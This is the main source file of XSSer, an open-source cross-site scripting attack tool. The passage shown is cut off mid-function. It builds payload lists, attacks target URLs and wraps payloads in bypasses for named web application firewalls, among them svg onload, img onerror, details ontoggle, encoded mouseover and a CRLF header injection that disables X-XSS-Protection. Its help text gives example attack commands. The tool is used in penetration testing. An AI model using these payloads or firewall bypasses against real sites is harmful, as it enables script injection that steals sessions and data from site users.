1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523 |
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-"
- # vim: set expandtab tabstop=4 shiftwidth=4:
- """
- This file is part of the XSSer project, https://xsser.03c8.net
- Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
- xsser is free software; you can redistribute it and/or modify it under
- the terms of the GNU General Public License as published by the Free
- Software Foundation version 3 of the License.
- xsser is distributed in the hope that it will be useful, but WITHOUT ANY
- WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- details.
- You should have received a copy of the GNU General Public License along
- with xsser; if not, write to the Free Software Foundation, Inc., 51
- Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
- """
- import os, re, sys, datetime, hashlib, time, urllib, cgi, traceback, webbrowser, random
- from random import randint
- from base64 import b64encode, b64decode
- import core.fuzzing
- import core.fuzzing.vectors
- import core.fuzzing.DCP
- import core.fuzzing.DOM
- import core.fuzzing.HTTPsr
- import core.fuzzing.heuristic
- from collections import defaultdict
- from itertools import islice, chain
- from urlparse import parse_qs, urlparse
- from core.curlcontrol import Curl
- from core.encdec import EncoderDecoder
- from core.options import XSSerOptions
- from core.dork import Dorker
- from core.crawler import Crawler
- from core.imagexss import ImageInjections
- from core.flashxss import FlashInjections
- from core.post.xml_exporter import xml_reporting
- from core.tokenhub import HubThread
- from core.reporter import XSSerReporter
- from core.threadpool import ThreadPool, NoResultsPending
- from core.update import Updater
- # set to emit debug messages about errors (0 = off).
- DEBUG = 0
- class xsser(EncoderDecoder, XSSerReporter):
- """
- XSSer application class
- """
- def __init__(self, mothership=None):
- self._reporter = None
- self._reporters = []
- self._landing = False
- self._ongoing_requests = 0
- self._oldcurl = []
- self._gtkdir = None
- self._webbrowser = webbrowser
- self.crawled_urls = []
- self.checked_urls = []
- self.successful_urls = []
- self.urlmalformed = False
- self.search_engines = [] # available dorking search engines
- self.search_engines.append('bing') # [26/08/2019: OK!]
- self.search_engines.append('yahoo') # [26/08/2019: OK!]
- self.search_engines.append('startpage') # [26/08/2019: OK!]
- self.search_engines.append('duck') # [26/08/2019: OK!]
- #self.search_engines.append('google')
- #self.search_engines.append('yandex')
- self.user_template = None # wizard user template
- self.user_template_conntype = "GET" # GET by default
- self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
- if not mothership:
- # no mothership so *this* is the mothership
- # start the communications hub and rock on!
- self.hub = None
- self.pool = ThreadPool(0)
- self.mothership = None
- self.final_attacks = {}
- else:
- self.hub = None
- self.mothership = mothership
- self.mothership.add_reporter(self)
- self.pool = ThreadPool(0)
- self.final_attacks = self.mothership.final_attacks
- # initialize the url encoder/decoder
- EncoderDecoder.__init__(self)
- # your unique real opponent
- self.time = datetime.datetime.now()
- # this payload comes with vector already..
- self.DEFAULT_XSS_PAYLOAD = 'XSS'
- # to be or not to be...
- self.hash_found = []
- self.hash_notfound = []
- # other hashes
- self.hashed_injections={}
- self.extra_hashed_injections={}
- self.extra_hashed_vector_url = {}
- self.final_hashes = {} # final hashes used by each method
- # some counters for checker systems
- self.errors_isalive = 0
- self.next_isalive = False
- self.flag_isalive_num = 0
- self.rounds = 0
- self.round_complete = 0
-
- # some controls about targets
- self.urlspoll = []
- # some statistics counters for connections
- self.success_connection = 0
- self.not_connection = 0
- self.forwarded_connection = 0
- self.other_connection = 0
- # some statistics counters for payloads
- self.xsr_injection = 0
- self.xsa_injection = 0
- self.coo_injection = 0
- self.manual_injection = 0
- self.auto_injection = 0
- self.dcp_injection = 0
- self.dom_injection = 0
- self.httpsr_injection = 0
- self.check_positives = 0
-
- # some statistics counters for injections found
- self.xsr_found = 0
- self.xsa_found = 0
- self.coo_found = 0
- self.manual_found = 0
- self.auto_found = 0
- self.dcp_found = 0
- self.dom_found = 0
- self.httpsr_found = 0
- self.false_positives = 0
- # some statistics counters for heuristic parameters
- self.heuris_hashes = []
- self.heuris_backslash_found = 0
- self.heuris_une_backslash_found = 0
- self.heuris_dec_backslash_found = 0
- self.heuris_backslash_notfound = 0
- self.heuris_slash_found = 0
- self.heuris_une_slash_found = 0
- self.heuris_dec_slash_found = 0
- self.heuris_slash_notfound = 0
- self.heuris_mayor_found = 0
- self.heuris_une_mayor_found = 0
- self.heuris_dec_mayor_found = 0
- self.heuris_mayor_notfound = 0
- self.heuris_minor_found = 0
- self.heuris_une_minor_found = 0
- self.heuris_dec_minor_found = 0
- self.heuris_minor_notfound = 0
- self.heuris_semicolon_found = 0
- self.heuris_une_semicolon_found = 0
- self.heuris_dec_semicolon_found = 0
- self.heuris_semicolon_notfound = 0
- self.heuris_colon_found = 0
- self.heuris_une_colon_found = 0
- self.heuris_dec_colon_found = 0
- self.heuris_colon_notfound = 0
- self.heuris_doublecolon_found = 0
- self.heuris_une_doublecolon_found = 0
- self.heuris_dec_doublecolon_found = 0
- self.heuris_doublecolon_notfound = 0
- self.heuris_equal_found = 0
- self.heuris_une_equal_found = 0
- self.heuris_dec_equal_found = 0
- self.heuris_equal_notfound = 0
- # xsser verbosity (0 - no output, 1 - dots only, 2+ - real verbosity)
- self.verbose = 2
- self.options = None
- def __del__(self):
- if not self._landing:
- self.land()
- def get_gtk_directory(self):
- if self._gtkdir:
- return self._gtkdir
- local_path = os.path.join(os.path.dirname(os.path.dirname(__file__)),
- 'gtk')
- if os.path.exists(local_path):
- self._gtkdir = local_path
- return self._gtkdir
- elif os.path.exists('/usr/share/xsser/gtk'):
- self._gtkdir = '/usr/share/xsser/gtk'
- return self._gtkdir
- def set_webbrowser(self, browser):
- self._webbrowser = browser
- def set_reporter(self, reporter):
- self._reporter = reporter
- def add_reporter(self, reporter):
- self._reporters.append(reporter)
- def remove_reporter(self, reporter):
- if reporter in self._reporters:
- self._reporters.remove(reporter)
- def generate_hash(self, attack_type='default'):
- """
- Generate a new hash for a type of attack.
- """
- return hashlib.md5(str(datetime.datetime.now()) + attack_type).hexdigest()
- def generate_numeric_hash(self): # 32 length as md5
- """
- Generate a new hash for numeric only XSS
- """
- newhash = ''.join(random.choice('0123456789') for i in range(32))
- return newhash
- def report(self, msg, level='info'):
- """
- Report some error from the application.
- levels: debug, info, warning, error
- """
- if self.verbose == 2:
- prefix = ""
- if level != 'info':
- prefix = "["+level+"] "
- print msg
- elif self.verbose:
- if level == 'error':
- sys.stdout.write("*")
- else:
- sys.stdout.write(".")
- for reporter in self._reporters:
- reporter.post(msg)
- if self._reporter:
- from twisted.internet import reactor
- reactor.callFromThread(self._reporter.post, msg)
- def set_options(self, options):
- """
- Set xsser options
- """
- self.options = options
- self._opt_request()
- def _opt_request(self):
- """
- Pass on some properties to Curl
- """
- options = self.options
- for opt in ['cookie', 'agent', 'referer',\
- 'headers', 'atype', 'acred', 'acert',
- 'proxy', 'ignoreproxy', 'timeout',
- 'delay', 'tcp_nodelay', 'retries',
- 'xforw', 'xclient', 'threads',
- 'dropcookie', 'followred', 'fli',
- 'nohead', 'isalive', 'alt', 'altm',
- 'ald'
- ]:
- if hasattr(options, opt) and getattr(options, opt):
- setattr(Curl, opt, getattr(options, opt))
- def get_payloads(self):
- """
- Process payload options and make up the payload list for the attack.
- """
- options = self.options
- # payloading sources for --auto
- payloads_fuzz = core.fuzzing.vectors.vectors
- if options.fzz_info or options.fzz_num or options.fzz_rand and not options.fuzz:
- self.options.fuzz = True
- # set a type for XSS auto-fuzzing vectors
- if options.fzz_info:
- fzz_payloads = []
- for fuzz in payloads_fuzz:
- if not fuzz["browser"] == "[Not Info]":
- fzz_payloads.append(fuzz)
- payloads_fuzz = fzz_payloads
- # set a limit for XSS auto-fuzzing vectors
- if options.fzz_num:
- try:
- options.fzz_num = int(options.fzz_num)
- except:
- options.fzz_num = len(payloads_fuzz)
- fzz_num_payloads = []
- fzz_vector = 0
- for fuzz in payloads_fuzz:
- fzz_vector = fzz_vector + 1
- if int(fzz_vector) < int(options.fzz_num)+1:
- fzz_num_payloads.append(fuzz)
- payloads_fuzz = fzz_num_payloads
- # set random order for XSS auto-fuzzing vectors
- if options.fzz_rand:
- try:
- from random import shuffle
- shuffle(payloads_fuzz) # shuffle paylods
- except:
- pass
- payloads_dcp = core.fuzzing.DCP.DCPvectors
- payloads_dom = core.fuzzing.DOM.DOMvectors
- payloads_httpsr = core.fuzzing.HTTPsr.HTTPrs_vectors
- manual_payload = [{"payload":options.script, "browser":"[manual_injection]"}]
- # sustitute payload for hash to check for false positives
- self.hashed_payload = "XSS"
- checker_payload = [{"payload":self.hashed_payload, "browser":"[hashed_precheck_system]"}]
- # heuristic parameters
- heuristic_params = core.fuzzing.heuristic.heuristic_test
- def enable_options_heuristic(payloads):
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- return payloads
- if options.fuzz:
- payloads = payloads_fuzz
- if options.dcp:
- payloads = payloads + payloads_dcp
- if options.script:
- payloads = payloads + manual_payload
- if options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.script:
- payloads = payloads + manual_payload
- if options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payaloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.hash:
- payloads = checker_payload + payloads
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.dcp:
- payloads = payloads_dcp
- if options.script:
- payloads = payloads + manual_payload
- if options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payloads + inducedcode
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.script:
- payloads = manual_payload
- if options.hash:
- payloads = checker_payload + payloads
- if options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.inducedcode:
- payloads = payloads + payloads_httpsr
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- paylaods = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.inducedcode:
- payloads = payloads_httpsr
- if options.hash:
- payloads = checker_payload + payloads
- if options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.heuristic:
- payloads = heuristic_params
- if options.hash:
- payloads = checker_payload + payloads
- if options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads + payloads_dom
- elif options.dom:
- payloads = payloads_dom
- elif not options.fuzz and not options.dcp and not options.script and not options.hash and not options.inducedcode and not options.heuristic and not options.dom:
- payloads = [{"payload":'">PAYLOAD',
- "browser":"[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]"
- }]
- else:
- payloads = checker_payload
- return payloads
- def process_ipfuzzing(self, text):
- """
- Mask ips in given text to DWORD
- """
- ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
- for ip in ips:
- text = text.replace(ip, str(self._ipDwordEncode(ip)))
- return text
- def process_ipfuzzing_octal(self, text):
- """
- Mask ips in given text to Octal
- """
- ips = re.findall("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)
- for ip in ips:
- text = text.replace(ip, str(self._ipOctalEncode(ip)))
- return text
- def process_payloads_ipfuzzing(self, payloads):
- """
- Mask ips for all given payloads using DWORD
- """
- # ip fuzzing (DWORD)
- if self.options.Dwo:
- resulting_payloads = []
- for payload in payloads:
- payload["payload"] = self.process_ipfuzzing(payload["payload"])
- resulting_payloads.append(payload)
- return resulting_payloads
- return payloads
- def process_payloads_ipfuzzing_octal(self, payloads):
- """
- Mask ips for all given payloads using OCTAL
- """
- # ip fuzzing (OCTAL)
- if self.options.Doo:
- resulting_payloads = []
- for payload in payloads:
- payload["payload"] = self.process_ipfuzzing_octal(payload["payload"])
- resulting_payloads.append(payload)
- return resulting_payloads
- return payloads
- def get_query_string(self):
- """
- Get the supplied query string.
- """
- if self.options.postdata:
- return self.options.postdata
- elif self.options.getdata:
- return self.options.getdata
- return ""
- def attack_url(self, url, payloads, query_string):
- """
- Attack the given url checking or not if is correct.
- """
- if not self.options.nohead:
- for payload in payloads:
- self.rounds = self.rounds + 1
- self.attack_url_payload(url, payload, query_string)
- else:
- hc = Curl()
- try:
- urls = hc.do_head_check([url])
- except:
- self.report("[Error] Target URL: (" + url + ") is malformed!" + " [DISCARDED]" + "\n")
- return
- self.report("-"*50 + "\n")
- if str(hc.info()["http-code"]) in ["200", "302", "301", "401"]:
- if str(hc.info()["http-code"]) in ["301"]:
- url = str(hc.info()["Location"])
- payload = ""
- query_string = ""
- elif str(hc.info()["http-code"]) in ["302"]:
- url = url + "/"
- payload = ""
- query_string = ""
- self.success_connection = self.success_connection + 1
- self.report("[Info] HEAD-CHECK: OK! [HTTP-" + hc.info()["http-code"] + "] -> [AIMED]\n")
- for payload in payloads:
- self.attack_url_payload(url, payload, query_string)
- else:
- if str(hc.info()["http-code"]) in ["405"]:
- self.report("[Info] HEAD-CHECK: NOT ALLOWED! [HTTP-" + hc.info()["http-code"] + "] -> [PASSING]\n")
- self.success_connection = self.success_connection + 1
- for payload in payloads:
- self.attack_url_payload(url, payload, query_string)
- else:
- self.not_connection = self.not_connection + 1
- self.report("[Error] HEAD-CHECK: FAILED! [HTTP-" + hc.info()["http-code"] + "] -> [DISCARDED]\n")
- self.report("-"*50 + "\n")
- def not_keyword_exit(self):
- self.report("="*30)
- self.report("\n[Error] XSSer cannot find a correct place to start an attack. Aborting!...\n")
- self.report("-"*25)
- self.report("\n[Info] This is because you aren't providing:\n\n At least one -payloader- using a keyword: 'XSS' (for hex.hash) or 'X1S' (for int.hash):\n")
- self.report(" - ex (GET): xsser -u 'https://target.com' -g '/path/profile.php?username=bob&surname=XSS&age=X1S&job=XSS'")
- self.report(" - ex (POST): xsser -u 'https://target.com/login.php' -p 'username=bob&password=XSS&captcha=X1S'\n")
- self.report(" Any extra attack(s) (Xsa, Xsr, Coo, Dorker, Crawler...):\n")
- self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/path/id.php?=2' --Coo")
- self.report(" - ex (POST+XSA+XSR+Cookie): xsser -u 'https://target.com/login.php' -p 'username=admin&password=admin' --Xsa --Xsr --Coo")
- self.report(" - ex (Dorker): xsser -d 'news.php?id=' --Da")
- self.report(" - ex (Crawler): xsser -u 'https://target.com' -c 100 --Cl\n")
- self.report(" Or a mixture:\n")
- self.report(" - ex (GET+Manual): xsser -u 'https://target.com' -g '/users/profile.php?user=XSS&salary=X1S' --payload='<script>alert(XSS);</script>'")
- self.report(" - ex (POST+Manual): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --payload='}}%%&//<sc&ri/pt>(XSS)--;>'\n")
- self.report(" - ex (GET+Cookie): xsser -u 'https://target.com' -g '/login.asp?user=bob&password=XSS' --Coo")
- self.report(" - ex (POST+XSR+XSA): xsser -u 'https://target.com/login.asp' -p 'username=bob&password=XSS' --Xsr --Xsa\n")
- self.report("="*75 + "\n")
- if not self.options.xsser_gtk:
- sys.exit(2)
- else:
- pass
- def get_url_payload(self, url, payload, query_string, user_attack_payload):
- """
- Attack the given url with the given payload
- """
- options = self.options
- self._ongoing_attacks = {}
- if (self.options.xsa or self.options.xsr or self.options.coo):
- agent, referer, cookie = self._prepare_extra_attacks(payload)
- else:
- agents = [] # user-agents
- try:
- f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
- except:
- f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
- for line in f:
- agents.append(line)
- agent = random.choice(agents).strip() # set random user-agent
- referer = "127.0.0.1"
- cookie = None
- if options.agent:
- agent = options.agent
- else:
- self.options.agent = agent
- if options.referer:
- referer = options.referer
- else:
- self.options.referer = referer
- if options.cookie:
- cookie = options.cookie
- else:
- self.options.cookie = cookie
- # get payload/vector
- payload_string = payload['payload'].strip()
-
- ### Anti-antiXSS exploits
- # PHPIDS (>0.6.5) [ALL] -> 32*payload + payload
- if options.phpids065:
- payload_string = 32*payload_string + payload_string
- # PHPIDS (>0.7) [ALL] -> payload: 'svg-onload' (23/04/2016)
- if options.phpids070:
- payload_string = '<svg+onload=+"'+payload_string+'">'
- # Imperva Incapsula [ALL] -> payload: 'img onerror' + payload[DoubleURL+HTML+Unicode] 18/02/2016
- if options.imperva:
- payload_string = '<img src=x onerror="'+payload_string+'">'
- # WebKnight (>4.1) [Chrome] payload: 'details ontoggle' 18/02/2016
- if options.webknight:
- payload_string = '<details ontoggle='+payload_string+'>'
- # F5BigIP [Chrome+FF+Opera] payload: 'onwheel' 18/02/2016
- if options.f5bigip:
- payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
-
- # Barracuda WAF [ALL] payload: 'onwheel' 18/02/2016
- if options.barracuda:
- payload_string = '<body style="height:1000px" onwheel="'+payload_string+'">'
- # Apache / modsec [ALL] payload: special 18/02/2016
- if options.modsec:
- payload_string = '<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover='+payload_string+'>'
- # QuickDefense [Chrome] payload: 'ontoggle' + payload[Unicode] 18/02/2016
- if options.quickdefense:
- payload_string = '<details ontoggle="'+payload_string+'">'
- # Firefox 12 (and below) # 09/2019
- if options.firefox:
- payload_string = "<script type ='text/javascript'>"+payload_string+"</script>"
- # Chrome 19 (and below, but also Firefox 12 and below) # 09/2019
- if options.chrome:
- payload_string = "<script>/*///*/"+payload_string+"</script>"
- # Internet Explorer 9 (but also Firefox 12 and below) # 09/2019
- if options.iexplorer:
- payload_string = 'cooki1%3dvalue1;%0d%0aX-XSS-Protection:0%0d%0a%0d%0a<html><body><script>'+payload_string+'</script></body></html>'
- # Opera 10.6 (but also IE6) # 09/2019
- if options.opera:
- payload_string = "<Table background = javascript: alert ("+payload_string+")> </ table>"
- # Substitute the attacking hash
- if 'PAYLOAD' in payload_string or 'VECTOR' in payload_string:
- payload_string = payload_string.replace('PAYLOAD', self.DEFAULT_XSS_PAYLOAD)
- payload_string = payload_string.replace('VECTOR', self.DEFAULT_XSS_PAYLOAD)
- hashed_payload = payload_string
- # Imperva
- if options.imperva:
- hashed_payload = urllib.urlencode({'':hashed_payload})
- hashed_payload = urllib.urlencode({'':hashed_payload}) #DoubleURL encoding
- hashed_payload = cgi.escape(hashed_payload) # + HTML encoding
- hashed_payload = unicode(hashed_payload) # + Unicode
- # Quick Defense
- if options.quickdefense:
- hashed_payload = unicode(hashed_payload) # + Unicode
- # apply user final attack url payload
- if user_attack_payload:
- hashed_vector_url = self.encoding_permutations(user_attack_payload)
- else:
